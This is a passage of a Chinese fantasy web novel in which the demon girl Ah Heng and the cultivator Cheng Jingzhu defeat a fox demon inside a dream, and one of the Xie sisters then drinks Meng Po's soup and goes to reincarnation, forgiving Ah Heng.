不过顷刻,檀郎竟然化成两道身影,他身上紫衣不再,却是一身鲜艳红袍,两个檀郎金冠玉带,眉目含笑地与她们对视。 “他想吃了她们的魂魄,补足气力接续断尾。” 程净竹拧眉说道。 阿姮脸色一沉,她再看谢澹云与谢朝燕,她们竟然也化出来一身红妆,头戴金凤冠,鬓发若云,娥眉秀曼,各有各的娇艳欲滴。 阴雨暝晦,风雾清寒,她们原本呆滞的双眸几乎同时变得光盈,阿姮飞身下去,抬手却穿透她二人的身躯。 “没用的,她们的心念早被这狐妖动摇,如今又被其割舌封了灵窍,只要他想勾动她们的执念,她们眼中便只有他,而不再看得见你我,你自然就触碰不到她。” 程净竹说着,法绳穿云过雨,刺破那檀郎身形,但他身若浓云,根本毫无撼动,显然,这并不是他的真身,但即便不是真身,也可以引得谢氏二女为他飞蛾赴火。 程净竹并起双指,默念咒语,上方的金光法阵顿时转动起来,全力抵挡来势汹汹的雷电冷雨。 “喂,你们两个快醒醒!” 阿姮快步上前,喊道。 但谢朝燕与谢澹云毫无反应,身穿红衣的两个檀郎对她们笑着,几乎同时张口说道:“我是你们心中最喜欢的模样,对吗?” 他的声音温柔极了。 两女漆黑的眸仿佛痴迷,若羞怯般,她们轻轻地点头。 阿姮转过脸,看到那两个檀郎他们明明是同一副五官,但气韵却又有所不同,但这都不是檀郎真实的模样,阿姮觉得他们更像是谢澹云与谢朝燕基于檀郎这个人而对他产生的所有想象。 这两个气韵不一的檀郎,是谢澹云与谢朝燕在心中精心为自己雕琢的良配。 他相貌好,文采好,为人耿介。 也许落拓,也许沉稳,他们会懂得她的心思,会理解她们的作为,会永永远远彼此珍重,恩爱不疑。 “澹云,我绝不负你。” “朝燕,我绝不负你。” 两个檀郎吐露出深情的爱语,他们向她们伸出手,用那样柔情满溢的目光凝视她们,期盼她们。 谢澹云与谢朝燕毫不迟疑地奔向他们,那样欢欣,那样迫不及待。 阿姮眼见她们抓住两个檀郎的手,她手中万木春飞出去,那两个檀郎却顷刻化为浓烟,将谢氏两女淹没。 诡异的狐嗥响起。 阿姮身化红雾,随万木春一同卷入那浓烟之中,她忽然听到檀郎阴冷的笑声,浓烟卷起强风,梦境中的一切都在被挤压扭曲,她还没看清谢澹云与谢朝燕,便觉手脚被风缠住,万木春落地插入泥土之中,随后万顷雷电倾轧而来—— 阿姮下意识闭起眼,忽然间,她落入一个怀抱,只电闪雷鸣在耳边炸响,冰凉的珠玉压在她的脸颊,她睁开眼,入目是水青色的宝珠,雪白的衣襟。 阿姮怔怔地望着他后背,雷电如刺,浊气翻涌,她嗅到浓重的血气,那么的芳香,引得她喉咙干涩极了,她缓缓地摸向他后背,摸到一手的鲜血,但她却迟迟没有将血舔掉。 他将她抱得很紧,紧到她几乎可以感受到他这具温热的身体在微微的颤抖,此时,她听到檀郎笑道:“程净竹,凭你一个十七岁的少年,我承认你实在有些天资,所以才真心请你尝尝这四方浊气的味道,如何啊?它们侵入你的伤口,是否正与你体内的清气相互缠斗?要不了多久,你的金身也就破了……到时,你只有死路一条。” “小神仙……” 阿姮张口才唤一声,却觉他忽然侧了侧脸,他的唇几乎贴在她的耳边,她感受到他灼热的呼吸,与此同时,他的声音很轻地落入她的耳廓:“再撑一会儿,做得到吗?” 他的血液顺着她的指缝流淌而下,阿姮眼睫动了一下。 “做得到。” 她说。 程净竹忽然一把推开她,向这龙卷风中上方掠去,他袖中白符飞出,化为流火,短暂点映谢氏两女眼眸。 他默念咒语,金阵飞速转动,极力与雷电阵法相抗,阿姮迅速去到谢氏两女身边,掌翻红云烈焰,将她们护在身后。 “谢澹云!男人到底有什么好?” 阿姮一面抵御雷电,一面冷声喊道:“你们上一世明明已经吃过亏了,却还以为你们只要这辈子精心挑选一个男人就能成就一段良缘?” “姻缘对你们来说真是那么重要的东西么?你们不还是把自己的命运交托在别人身上?不还是甘为附庸?” 阿姮的手背被雷电击破一条口子,她此时又感受到了痛,很痛,她深吸一口气:“你们若真那么看重所谓的姻缘,那就更应该好好睁大你们的眼睛看清楚,你们以为的郎君,实则是个有毛有尾的畜生!” 谢澹云漆黑的眸子似乎凝滞了一瞬。 “若真被他得了逞,”阿姮想起阴司之中,璇红神魂消散的模样,再看两女,她说道,“你们的执念非但得不到解脱,从此以后,你们就不存在了,若你们的执念真的有那么的深,会甘心就这样被狐妖欺骗,被他一口一口吃掉三魂七魄吗?你们……想永远的消失吗?” “我……” 谢澹云嘴唇颤抖,艰难地吐出一个字来,她神情是那么的痛苦,眼中泪意涌出,竟然冲淡了覆盖眼白的黑色。 她似乎恢复了神志,看向身边的谢朝燕,不由喊道:“朝燕,朝燕!” 谢朝燕却毫无反应。 很显然,她的神志并不如谢澹云坚固,所以完完全全被那狐妖慑住了心魄。 正是此时,程净竹睁开双眼,上空与雷电阵法相互抵抗的金阵五个阵眼金粉飞浮,显现出不同草木的形状,栩栩如生。 檀郎原本无踪的影被金粉描摹出形,程净竹抬眸看去,掌心银尾法绳掠出,那檀郎迅速闪开,难掩吃惊:“五行之术?不可能,你这根本不是五行之载体!” “草木药性不一,在医理之中亦有五行之分。” 程净竹白衣染血,神情冷冽:“此为药王殿五行药法。” 檀郎深谙五行之术,却根本没有听说过这等药理上的五行之说,但此时,他却真切领受到了这五行药法的厉害,他竟然藏无可藏。 “朝燕!快醒醒!” 谢澹云仍在试图唤醒谢朝燕。 银尾法绳追逐着檀郎不放,一举刺入他一只眼睛,檀郎面目扭曲起来,露出尖嘴的狐狸相,绒毛顿生,张口是尖利的狐嗥。 “找死!找死!”檀郎的声音伴随狐嗥响彻整片梦境,他发了狂地催动雷法,程净竹手背筋骨紧绷,竭力支撑着金阵。 他感受到浊气钻入他的身躯,叫嚣着,在他的四肢百骸肆虐,浑身的筋骨剧痛无比,此时,金阵发出碎裂的声音。 阿姮抬头,望见金阵之间的裂痕。 她奔上前去,抬手召来万木春,用尽全力握紧它,催动它,红云烈焰裹缠万木春散出的金电奔涌而去,封住那金阵的裂痕。 金阵抵挡住了大部分的雷电,檀郎身上散出的灼灼黑气在金阵的上面燃烧着,很快,金阵又裂开数道裂痕。 “这似乎是你们最后的招数了。” 檀郎松开那只血肉模糊的眼,他说着,手指一勾,雷电缠裹在浓黑的气流里,令金阵生出更多裂痕,阵外潇潇苦雨化为密布的雨箭,无数尖锐的棱角指向阵中的阿姮与程净竹。 檀郎始终阴冷地注视着他们。 清脆的碎裂声炸响,金阵破开了个窟窿,檀郎猛然钻入阵中,万千雨箭随之而来,却忽然凝滞了。 、 檀郎一顿,接着,他有些不敢置信地看向那谢澹云。 阿姮也在看谢澹云。 “这是我的梦境……”谢澹云忽然明白过来,“这雨,这风,甚至是雷电,都是因我而起。” 她看了一眼始终挡在她身前的阿姮,转而对上檀郎的目光,那双眼睛一只血肉模糊,另一只也不像她印象里那么柔情,她的神情变得异常坚定:“所以,它们……本应该是我的力量。” 电光火石之间,雷电不动,风也稍停,连密布于云的重重箭雨,也转向檀郎而去。 檀郎立即抬袖,箭雨顿时化为软弱的雨水拢入他袖中,他哈哈一笑:“是你的又如何?你一个凡人而已,哪怕利器在手,也力量微末,只能……为我所用!” 原本停住的风,静止的雷电,又都铺天盖地地压了下来。 阿姮与程净竹竭力抵挡,谢澹云则努力地操控着这些本是因她的情绪所外化的东西,忽然间,有一只手拉住她,谢澹云一怔,转过脸,对上谢朝燕清明的双眼。 风止,雷静,雨雾凝住。 “这也是我的梦境。” 谢朝燕紧紧握着谢澹云的手,仰起脸,看向半空中的檀郎,她的目光痛苦,顿时风雨雷电,倾轧向他。 檀郎冷嗤一声,黑色的气流如流墨淌下来,抵御着那些不痛不痒的东西,黑色的流火终于使金阵完全碎裂。 金芒碎屑四散。 檀郎剑指程净竹,却忽然分出五道影子,冲向谢氏两女,阿姮迎上去的刹那,却被黑色的流火击中,正是此时,谢朝燕猛然推开谢澹云,她肩膀被一只影子抓住,谢澹云立即攥住她的手:“朝燕!” 影子分明狐狸相,张开嘴,尖利的牙齿猛然咬住谢朝燕的肩,谢朝燕尖叫起来:“啊啊啊!” 程净竹回头见此,法绳挥出,檀郎本体闪躲之际,法绳迅速回道程净竹手中,他飞身跃去谢澹云与谢朝燕面前。 阿姮的万木春与他的法绳同时击碎那道影子。 谢朝燕被谢澹云抱在怀中,她捂着肩膀,神思混沌,身体也变得有些透明。 “朝燕……” 谢澹云颤声喊道。 谢朝燕勉强听清,抬眸望向她,说:“对不起,澹云姐姐,我不该什么都跟你争,争来争去,其实,其实都没什么意思……” 话音落,谢朝燕闭起眼睛。 谢澹云眼中含泪,抬头见阿姮与程净竹仍在与那狐妖缠斗,她看向檀郎的目光没有分毫依恋:“你瞧不起我们,用尽你的诱引之术,欺骗我们,利用我们,将我们的苦难当作一个笑话,你这种妖孽,如何真能懂得人类的情呢?” 她忽然笑出了声。 阿姮回头,她看见谢澹云脸上灿烂的笑容,她笑着笑着,泪又淌下来:“阿姮姑娘,你说得对,我明明前生已经受尽了苦楚,今生却还要甘为附庸,我为什么要这样呢?” 风雨呼啸,雷电轰鸣。 谢澹云满脸是泪,注视着那空中的檀郎。 雷电缠裹,箭雨密密,刹那涌向他,纠缠他的身躯,穿透他的四肢。 檀郎浑身是血,面目狰狞,全无人相,他袖中黑云涌动,焰光闪烁,他搅动天地,以倾覆之势,震荡四野。 几人都被震出去,摔落在地上。 程净竹吐出血来。 阿姮望着他:“小神仙……” 那檀郎神情变得兴奋起来,正要俯身下去,却忽然身躯一僵。 他感受到腹中有股汹涌的清气,那清气搅乱了他的肺腑,挤压着他的心脏,他双目变得赤红,猛然对上那白衣少年的目光,他忽然喊道:“那符水……是那符水对不对?我明明服用过玄宁观的宝丹!任何佛道用物都不能伤及我身!” “原来这便是你可以隐藏妖气的缘由。” 程净竹抹去唇边的血:“玄宁观的宝丹或许对寻常庙观有些用处,但上清紫霄宫药王殿的根本乃是药,寻常人饮下那符水,自然不会有任何问题,而你妖邪之躯,七七四十九天之内,是绝无法克化它的,而五行药法,正是催动它发作的法门。” 檀郎怒不可遏,胸中火种烈焰滚滚,他耳边响起许多尖刻的声音,涌动的黑云包裹他的身躯,想要操控他被腹中符水所僵化的四肢,浓云里,破碎的金阵碎片骤然穿透他的腹部,阿姮飞身前去,红云烈焰如倾,伴随阵阵雨箭,万木春的枝尖刺中檀郎胸口,无数雨箭穿刺他的血肉。 “破!” 与此同时,这样一道肃冷的声音仿佛穿透梦境而来。 檀郎的浓云阵法顿时被击碎。 黑云逐渐弥散,残垣消失,四周变成了一片虚无之地,四周有淡淡的光线,好似清晨的日光。 阿姮收回万木春,檀郎的身躯下坠,落在地上,仅剩的那只完好的眼睛里满是不敢置信,他却已然没有了声息,很快,他的身躯消散成烟,散去了。 仅剩一颗涌动黑气的火种。 阿姮才看到那火种,便见程净竹抬手施咒,金光如缕包裹火种,落入他手心之中。 谢澹云喘着气,连忙转身,谢朝燕的身影不知何时已经消失了,她心头一紧:“……朝燕?” 这片她的天地,再也没有风雨了。 四周风雾淡淡,阿姮周身的红雾随她步履而动,她走到程净竹面前,发现他闭上眼睛,似乎昏迷了过去。 他几乎浑身浴血,连向来严整干净的衣襟也凌乱得不像话,阿姮跪坐在他面前,盯着他。 “阿姮!” 她忽然听到霖娘的声音。 “小师叔!小师叔你们快出来啊!”这是积玉的声音。 阿姮缓缓地回头,向后望去。 这片虚无之地忽然隐去,她眨了一下眼,眼睫上有殷红的血珠滴下来,那味道很难闻,是狐妖的。 她眼前是檀园中的这间屋舍。 她跪坐在地上,而程净竹躺在她身边。 “小师叔!” 积玉喊道。 床上谢澹云眼皮动了动,她清醒过来,张口却觉剧痛,满口血涌,她惊恐地发现自己竟然没有了舌头! 她猛地看向床上的谢朝燕,谢朝燕仍然紧闭双眼,没有任何醒来的迹象,谢澹云去推她,她也没有丝毫反应。 “积玉,快,找个干净的地方,给净竹用药。” 阳钧说道。 积玉连忙背起程净竹,阿姮还坐在地上,霖娘怎么喊她她都不应,她的目光追随积玉出门,望见程净竹伤口满布的后背,她忽然一下站起来,追出去。 阳钧看了阿姮一眼,随后上前去探谢澹云的脉门,随后,他叹了口气,道:“这位姑娘魂魄有损,已经死了。” 魂魄……有损? 谢澹云忽然想起那狐妖影子咬住谢朝燕肩膀的那一口,她顿时泪涌,却有口难言,只能无助地望着阳钧。 “虽魂魄有损,但还不至于魂消魄散,她如今已往阴司中去,只要再投胎转世,魂魄是可以借新的血肉来补全的。” 阳钧说着,递给她一枚丹药:“你吃了这个,口里就不会再流血了。” 积玉很快找到一间干净屋子,将程净竹一身衣衫换了,又给他上药包扎,喂下一枚金丹,做完这些,他便转身又出去找草药了。 霖娘跟着积玉一块儿去了。 如今正是深夜,廊庑上灯火零星,阿姮走到屋中,到床前,她看了看程净竹,他的脸色很苍白,唇上也没有血色。 灯烛之下,浓而长的睫毛在眼睑下投了片淡淡的影。 他身上穿着干净的衣袍,积玉似乎因为着急而并没有给他绑好衣带,阿姮伸出手指,轻轻勾开他的衣襟,她缓缓俯身,耳朵贴在他的胸膛。 也许是因为在发热,他的体温有些滚烫,阿姮听到他胸腔里那颗心脏沉稳跳动的声音,这是她喜欢的心脏,跳动的声音她也很喜欢。 她抬起头,手掌落在他的身上,滚烫的温度透过他的皮肤传来她的掌心。 她确信,他的金身破了。 阿姮的五指渐渐屈起,冰凉的指甲轻轻擦着他的皮肤,此刻,她可以轻而易举地抓破他的胸膛,取出那颗她心爱已久的心脏,放进自己的壳子里。 这是她最想要的东西。 她每天都在想着要怎么得到它。 胸口的火种翻涌,许多的声音在催促她,她俯身,手却忽然顿住,她暗红的双眼不自禁地凝视他的脸。 那么漂亮的眉眼,睡着了的时候,这张脸看着似乎也没那么冰冷了。 她离他这样近,指尖都染上了他的体温。 就像,那个怀抱。 他紧紧拥抱她,在她耳边说再撑一会儿,问她做不做得到。 她当然做得到,还做得很好。 阿姮屈起的手指忽然柔软起来,她的掌心撑着他的胸膛,直起身,却发现他锁骨边残留的一滴血。 就在他锁骨连接肩膀的那处肌肉凹陷里。 阿姮又低头,嗅到那点微末的芳香,她毫不犹豫地凑上去,吮舐掉那点血,却唤起对于他血气更深的欲望。 她唇焦口燥。 却垂着眼帘,将他散开的衣襟收拢好,站起来,转身悄无声息地走出去。 第52章 第52章 那个人有她最喜欢的心脏,最…… 案上一盏孤灯摇晃着, 昏黄的光影充盈整个室内,阿姮踏出碧漆槅门外,并未注意屋中榻上那少年浓密的眼睫一动,睁开双眼, 他注视着她的背影渐渐融入夜色中变得模糊, 但耳边却仍隐约可闻她透着烦躁的步履声。 阿姮越走越快, 又忽然停在一处廊庑下,临着灯,她垂眸注视着自己的一双手, 淡淡的红云燃烧在她透明的指甲边缘, 昭示着它的无边锋利。 多么好的机会啊。 阿姮眼底满是茫然, 忽有一阵冷风袭来, 她敏锐地抬眸望去,只见那片嶙峋假山之间, 有个洞窟中竟然闪动幽蓝的光芒。 阿姮正疑心那狐狸洞中莫非还有什么东西在作祟, 却听见那片深邃的蓝色光芒中,一道含笑的, 苍老的声音传来:“小姑娘, 你来。” 是孟婆的声音。 阿姮走了过去, 才踏入洞中, 便觉得四周漆黑, 但幽蓝的流光闪烁着,她受其指引往前不知走了多久,忽觉四下开阔, 淡淡的烟气散开来,远处河岸上显露一处石拱桥的轮廓,桥上正有几道昏黑的剪影, 阿姮走近,方才看清桥上的情形,孟婆还是那副样子,看起来和阳间的老婆婆没有什么不同,她舀了一碗汤,笑眯眯地递给面前那人,说:“来,喝口汤,暖暖身,下辈子会好的。” 那是一个女子,披散着乌黑的长发,一身素白的衣裙,背对着阿姮,阿姮慢慢上桥,听见她的声音:“您……不用再从我脑子里挖走什么吗?” 阿姮一顿,这似乎……是谢朝燕的声音。 孟婆却问道:“你想我挖出来什么呢?你曾经不是尝过这种滋味么?那是很疼很疼的。” “无论多疼,都请您挖走它吧,”谢朝燕欠了欠身,说道,“我再也不要记起那些了,无论是赵芳茹,还是谢朝燕,我都是一样,一样改不了自己的命,有时侯不记得,才是解脱。” 孟婆再度将汤碗递给她,笑着说:“你已经不再执着,又何必我再动手挖出呢?你的执根已经不存在了。” “……什么?” 谢朝燕愣愣地望着她。 此时,站在一旁的峣雨手中判官笔一挥,笔尖浮出的金芒在半空凝出一页金光文字,那上面是一个赵姓人的生平。 谢朝燕的目光顿时凝在那字里行间,她的眼睛微微大睁,峣雨看向她,说道:“你的前一世死后,他亲自将你的尸首接回了赵家,那时他才知道温家冒领救命之恩的事,他悔不当初,恨自己错看温荣生,为了给你讨回公道,他报了官,但因有妖女瑁珠从中阻挠,这桩案子多年悬而难决,他后半辈子几乎都在四处去找从前的同僚,不求他们徇私,只求一个秉公执法,到他七十来岁,散尽家财寻得一得道高人制服瑁珠,这才使温荣生骗婚虐妻的案子终于裁定,而他也终于放下心,咽了气。” 峣雨口中之人,正是赵芳茹的父亲。 谢朝燕未饮孟婆汤,所以关于赵芳茹的记忆,谢朝燕的记忆,全都在她脑子里交织,她愣愣地盯着半空中那一纸金字。 她怎么也不敢相信,那会是赵芳茹的父亲。 明明他那么古板,那么清高,明明他自诩正人君子,为人重诺,重信,明明恨极了那些官场上的人情世故,他这样一个人,怎么可能会低声下气地去求人,去奔走…… 她忽然冷笑:“他做这些……有什么用呢?我的人生,难道不是他一手毁掉的吗?” 笑着笑着,她眼眶却被泪意浸湿。 木已成舟,是她以为他会对她说的话,因为害怕从他口中听到这四个字,所以她忍下所有,郁郁而终。 她忽然接过来孟婆手中的汤碗,却听一阵步履声近,她回过头,见是阿姮,她愣了一下,很快想起那片梦境中的种种,想起阿姮化成她的样子,让她看到另外一个赵芳茹,那个亲手杀了温荣生的赵芳茹。 “阿姮姑娘。” 谢朝燕唤道。 阿姮看了一眼她,转过脸问峣雨:“她只是被脏东西咬了一口,就不能再还阳了吗?” 峣雨看着阿姮的目光如旧柔和:“那狐妖一口,便撕裂了她的神魂,唯一的解法,只有立即入轮回,获得一副新的血肉,才能让残缺的神魂得到滋养。” “阿姮姑娘,我不在乎这些了。” 谢朝燕摇了摇头,又问她:“澹云姐姐……她好不好?” 阿姮想起谢澹云醒来,满口是血,抱住谢朝燕的尸体有口难言的模样,她不知道什么算作好,便说:“她还活着。” “我也这样想,否则,我也就在这儿见到她了,”谢朝燕点点头,说,“她心性比我好,连祖父也说她更沉稳些,比我能担事……” 乌黑的浅发垂落谢朝燕苍白的颊边:“我从前一直不知道我与澹云姐姐还有那样的缘分,我曾经是赵芳茹,她就是我家附近的林三娘,我们前生不相识,今生却有缘投到一家里,可我们都被执念所缚,上辈子都被婚姻所伤,所以此生满心满眼都落在一段绝好的姻缘上……可到底什么样的姻缘才是世间绝好呢?” “这并不是你的错。” 阿姮想了想,说道:“是阳间太怪了,我看到,在那许多男人的眼里,妖女沉沦欲望,在他们看来是为他们倾心,女子比他们会念诗作文,对他们来说是一种僭越,父亲希望女儿遵从他的意志嫁娶,母亲理所应当地以为女儿的未来就应该成为一个男子的附庸,明明男子,女子都是人类,可女子,却像天生被锁在一个狭小的笼子里,以为眼中所见,便是全部。” 阿姮看着她手中端着的那碗汤,热烟还在不断上浮,阿姮不由问她道:“即便如此,你也要再入轮回吗?” 谢朝燕一怔,她随阿姮的目光而低头,看见碗中澄莹的汤,汤中隐约映出她的脸,她缓缓点头:“阿姮姑娘,我之前很怕你,因为我曾经见过瑁珠那样的妖女,我以为妖都是一样的,一样多情又无情,一样没有心,不会怜悯,绝非良善,为此,我还想尽办法将你们都赶出谢府去……对不起,阿姮姑娘,是我做错了。” 阿姮愣住了,却见谢朝燕抬起脸来,竟然对她露出了一个笑脸:“我因为执根而记起前世的种种,我明明恐惧那些记忆,却又为了执念而要死守着它,我其实很害怕我再梦到那一切,但现在我脑子里最深刻的却是你化成的那个赵芳茹,阿姮姑娘,你给了我很多的勇气。” 说着,谢朝燕深吸一口气,将碗中的热汤饮尽,她眼中泪光莹莹:“你说得对,阳间太怪了,但至少我现在已经不在那个狭小的笼中了,我总不能因为那一切太怪,太苛刻就永远逃避吧?我已经逃避很久了,可是逃避是没有用的,至少我死过,我知道,自己的命运其实是上天也不能左右的,从头到尾摆弄我的,是人,是人定的规矩,是人给的枷锁。” 她说:“从此以后,我再成为任何人,再难,再苦,我也不要做被父亲送出去的礼物,也不要做被男人禁锢的附庸,不管旁人如何看我,我都为自己而活。” 阴差已等在桥头,对于一生行止皆良善的鬼魂,他们是不用任何锁链的,都面目和善地等在底下,耐心地等她随他们去轮回。 谢朝燕望向桥下,她胸中竟有一种迫切的期待,期待又一次的新生,她往桥下去了几步,又忽然回过头,笑容灿烂:“阿姮姑娘,我相信总有一天,阳间会变得不那么怪,我会一直等,无论多少次生死,我相信一定会有那样一天。” “谢谢你,最后还能再见你一面,我很高兴。” 桥上冷风阵阵,如此极阴之地,是阳火绝对照不见的地方,阿姮站在桥心,与她相对,说道:“你对妖的看法没有错,我曾经的确想过要杀了你,所以,你没有必要给我道歉,也没有必要谢我什么。” “你也说了,那是曾经。” 谢朝燕笑容不改:“是你让我相信,妖和人类其实也没有多少不同,也有好坏之分,我们同样有自己的困境,也需要同样的勇敢。” 投胎的时辰迫近,峣雨提醒了一声,谢朝燕欠身谢过,随桥下的阴差去了,她的背影挺拔,步履轻快。 她似乎是真的很高兴。 “人类都喜欢自讨苦吃吗?为什么……”阿姮眼中露出茫然的神色,明知道那个阳间太怪,还要那么义无反顾地迎接又一次的新生? “人类不是喜欢自讨苦吃,而是天真地认为自己就算是一粒尘埃,也总能遇见很多跟自己一样的尘埃,积尘为土,焕发朽木。” 峣雨的声音传来耳边。 阿姮对上她柔和的目光,峣雨笑了笑,又说:“正因为这种天真,人类才得以长存。” 阿姮没说话,却第一次觉得,自己似乎小瞧了人类。 他们明明没有妖邪天生强大的力量,在那么大的阳世里就像一只只小小的蚂蚁,可阿姮想起来,如今上界的神仙,似乎也都是人化成的。 从没有天生的神。 “我和她说会儿话。” 孟婆收拾好了汤碗,对峣雨说道。 峣雨点头,再看向阿姮,轻拍了拍她的肩,说:“去吧。” “帮我把东西拿上。” 孟婆将汤碗勺子什么的都放进桶里,对阿姮说道。 阿姮扬着下巴,站那儿没动,孟婆抬起松弛的眼皮朝她看来,露出一个笑容:“两枚执根已经消散了,你做得很好,却不愿来领你应得的奖赏吗?” 阿姮闻言,立即将木桶一把捞起来,跟在孟婆身后走,到了对面岸上,又钻入那片花阴中,阿姮又看到那张案,无数个琉璃瓶摆在上面,里面有火光隐隐跳跃。 阿姮放下木桶,见孟婆走到那案边去,听见她叹了口气:“今日又这么多执根啊……世上是有多少执迷不悟的人哪。” “你答应我的事呢?” 阿姮走上前,开门见山。 孟婆不知从哪儿掏出来一把小锄,在地上挖起土坑来:“老身想想啊,你是说驯服万木春的办法?” 阿姮蹲下去,凑近她:“你快说,到底什么办法?” 孟婆将一只琉璃瓶埋进土里,用手捏着泥土将它一点点掩盖:“万木春是不能驯服的。” 阿姮拧起眉头,冷声道:“你耍我?” “你这小姑娘,怎么如此性急呢?”孟婆用沾满泥的手敲了一下她的额头。 阿姮的额头瞬间沾了泥,她将怒气写在脸上,手指节攥得咯吱响,心中正盘算着如何将这片花林烧个精光,却听孟婆道:“它原来是朝露的东西。” “我不管它原来是谁的东西,落到我手里,只能是我的东西。”阿姮说道。 孟婆笑了笑:“我的意思是,你不能总想着驯服它,它有自己的灵性,你得感知它。” “怎么感知?” 阿姮听得云里雾里。 “你唯一能做的,便是从心而为。” 孟婆埋下一只琉璃瓶,又拿起来小锄在地上挖土坑。 阿姮越来越觉得她根本就是在戏弄她:“我又没有心,又哪里来的从心?” 孟婆瞥了一眼她指尖一点燃烧的红云,那红云顿时消散无踪,阿姮愣住了,这老婆婆竟然如此轻易地熄灭了她的…… “谁说你没有心?” 孟婆的目光落在她脸上,看着她眉心那点残留的泥痕,孟婆又笑:“心脏只是形,谁说无形便是无心呢?阿姮,我的意思是遵从你自己的意愿就好,终有一日,你若与万木春心意相通,它自然便能成为你的造化,但若你不能……那也是你的因果。” 孟婆神色始终祥和:“但我与朝露一样,对你很有信心。” 阿姮愣了一下。 “差点忘了,”孟婆像是才想起来什么似的,她忙对阿姮道,“你最好将你体内的火种交出去。” 阿姮闻言,立即说道:“我才不……” “如果你想救程净竹的话。” 孟婆悠悠补了一句。 阿姮话还没说完,声音却戛然而止。 孟婆掐指一算:“呀,他伤得很重啊,连金身都破了,正好我这里有一味药,能令他少受些苦,尽快恢复。” 阿姮瞪着她。 “听我一句劝,火种对你没多少好处,受它引诱的人,是不会有好下场的。”孟婆说道。 “我又不是人类,只有我利用它的份。” 阿姮轻抬下颌。 “你能保证自己永远心志清明吗?”孟婆深深地凝视她,“只要你有一瞬间被那些声音引诱,等你醒过神来,你喜欢的东西,你在乎的人,全都被你亲手毁掉……这样,你也没所谓吗?你要赌吗?” 要赌吗?赌什么? 阿姮眼中神光微动,竟然有点犹豫起来,恍惚的一瞬,她又想起那片黑云雷电里,风缠住她的手脚,爆裂的雷电倾轧下来,有人将她抱在怀中。 那样不顾一切地扛下万顷雷电。 那个人有她最喜欢的心脏,最迷恋的血气。 而火种……火种它那么吵,总是叽叽喳喳地妄图支配她,只要她不受它控制,它的力量就永远不会和她真正融合,说到底,还不如她自己修行的好。 好一会儿,阿姮臭着脸,憋出一句:“你到底有什么药?” 孟婆一笑:“你摘一枝花回去,药王殿的人知道怎么用。” 阿姮转身利落地折了一枝近前的花枝,便往花阴尽处去,孟婆的声音从身后传来:“记得将火种交出去,这是你我之间的又一个交易。” “我知道了,你真的很烦!” 阿姮没回头。 穿过花阴,她眼前忽然涌现一片幽蓝的光芒,她走入那片光影之中,很快,她置身于一个漆黑的山洞中。 外面风声阵阵。 “阿姮!阿姮你在哪儿?” 她忽然听见霖娘的声音,不断地唤着她的名字,从远处来到近前,阿姮从洞中探出头去:“喂。” 风拂杨柳,丝绦乱飞。 霖娘循声回头,借着幽幽月光,她隐约望见阿姮从那山洞中出来,她立即走过去,抱住她的手臂:“你怎么躲在这儿?吓死我了,我到处都找不到你……” 走到月光明亮处,霖娘注意到阿姮的脸色,不由轻声问:“你怎么了?” 她觉得阿姮似乎很不高兴。 阿姮摘下来发间的木簪,她总觉得自己被孟婆给骗了,什么从心,什么心意相通,这东西能有什么灵性?既然有灵性,为什么总是让她用得不痛快? 阿姮紧紧攥住它,却握了个空,她垂眸只见淡金色的莹光点点环绕她的指尖,她愣了一瞬,随后指尖燃起红云,那金色莹光便若闪电般融化在跳跃的红云中,阿姮一时意动,她推掌出去,红云缠裹着缕缕金电顿时摧折一片草木。 霖娘吓了一跳:“阿姮,这……” 阿姮怔怔地望着自己的手掌,万木春……竟然肯随她的心意而与她的力量融合变化了? “霖娘,走!” 阿姮一把抓住霖娘的手。 霖娘还没反应过来阿姮的脸上怎么忽然就雨过天晴了,便被她拉着往前走,霖娘一脸茫然:“哎,去哪儿?” “积玉在给小神仙煎汤药了吗?” 阿姮问她。 霖娘点头:“是啊,我们找了好久才找到那种草药……” “那我们得快点。” 阿姮举着粉白的花枝,拉着霖娘飞奔起来。 孟婆给的花枝的确是一味良药,积玉见到那花枝,当下便将其也加入到汤药中端去给程净竹服下。 谢澹云被割了舌,阳钧一直在救治她,无论是对谢澹云还是程净竹来说,这妖气弥漫的檀园绝不是一个久留之地,所以天才蒙蒙亮,阳钧便领着众人离开檀园。 出了檀园大门,走出数步,阿姮回过头,只见一片灰蒙蒙的天色底下,那座古朴美丽的檀园在一阵浓浓的白雾中变得藤蔓满布,漆色斑驳,一片萧瑟萎顿。 阳钧亲自将谢澹云送回谢府里去,而阿姮他们则落脚在客栈中,阿姮一整天都待在屋子里,没有去看程净竹,霖娘觉得奇怪,但见阿姮趴在桌边一动不动,她又不敢多问,磨蹭了一会儿,才走过去:“阿姮,城里晚上的灯很漂亮,我们出去看看?” 阿姮没应声,霖娘心里不禁有点打鼓,却见阿姮忽然站起来推门出去,霖娘反应过来,连忙跟了上去。 说是看灯,两人就真坐在房顶上俯瞰街市上缠了一圈又一圈的彩色灯笼,霖娘从布兜里掏出来两块糕饼:“虽然那檀郎是个狐妖,但是他那儿的东西真的挺好吃的,我本来给你拿了好些,都怪我一时情急把它们扔出去打狐狸了,就剩这两个……” 阿姮瞥了一眼她手里的糕饼,明明都成了碎块,霖娘却将它们拼了起来,拼得就像圆圆的月亮,阿姮撑着下巴:“好吃你为什么不自己吃?” “你很爱吃这些嘛,我就想给你留着,等你能尝到味道的时候,你就能马上吃到好吃的东西。”霖娘说。 阿姮闻言,看了她一眼。 她从霖娘手里拿过来一块碎掉的饼:“剩下那个你吃。” 霖娘笑起来,捻起来一块碎饼,又往阿姮身边坐了坐,她大着胆子问:“你到底为什么不高兴啊?” “我没有不高兴。” 阿姮说。 “你明明就有,”霖娘撇撇嘴,“你不肯承认就算了,那你说,你为什么不去看程公子?他受了那么重的伤,你明明关心他的吧?” “关心?” 阿姮捏着饼:“什么是关心?” “关心就是你今天问了我八遍程公子有没有醒,”霖娘一边吃饼,一边说道,“可你为什么不去看他呢?” 阿姮其实也说不清楚。 她明明那么想要得到他的心脏,那么多日日夜夜朝思暮想,她是多么盼望着他金身破掉的时刻。 她的手明明已经触摸到他的皮肤,只要她稍微用力,她就可以达成所愿,可她为什么最后就是……下不了手? 都怪他。 她这么的心烦意乱,都怪他。 她才不要去看他。 阿姮愤愤地咬下一口饼,却忽然顿住了,她低头,看到饼块里红红的内馅像是她之前尝过的红糖,但她的舌头此时竟然尝不到一点味道。 霖娘毫无所觉,自己吃得嘴边都沾了饼渣,见阿姮吃了,便歪过头问她:“好吃吗?” 阿姮咬着没有任何滋味的饼,暗红的眼对上霖娘的目光,唇舌那么的麻木,她张口,却说:“好吃。” 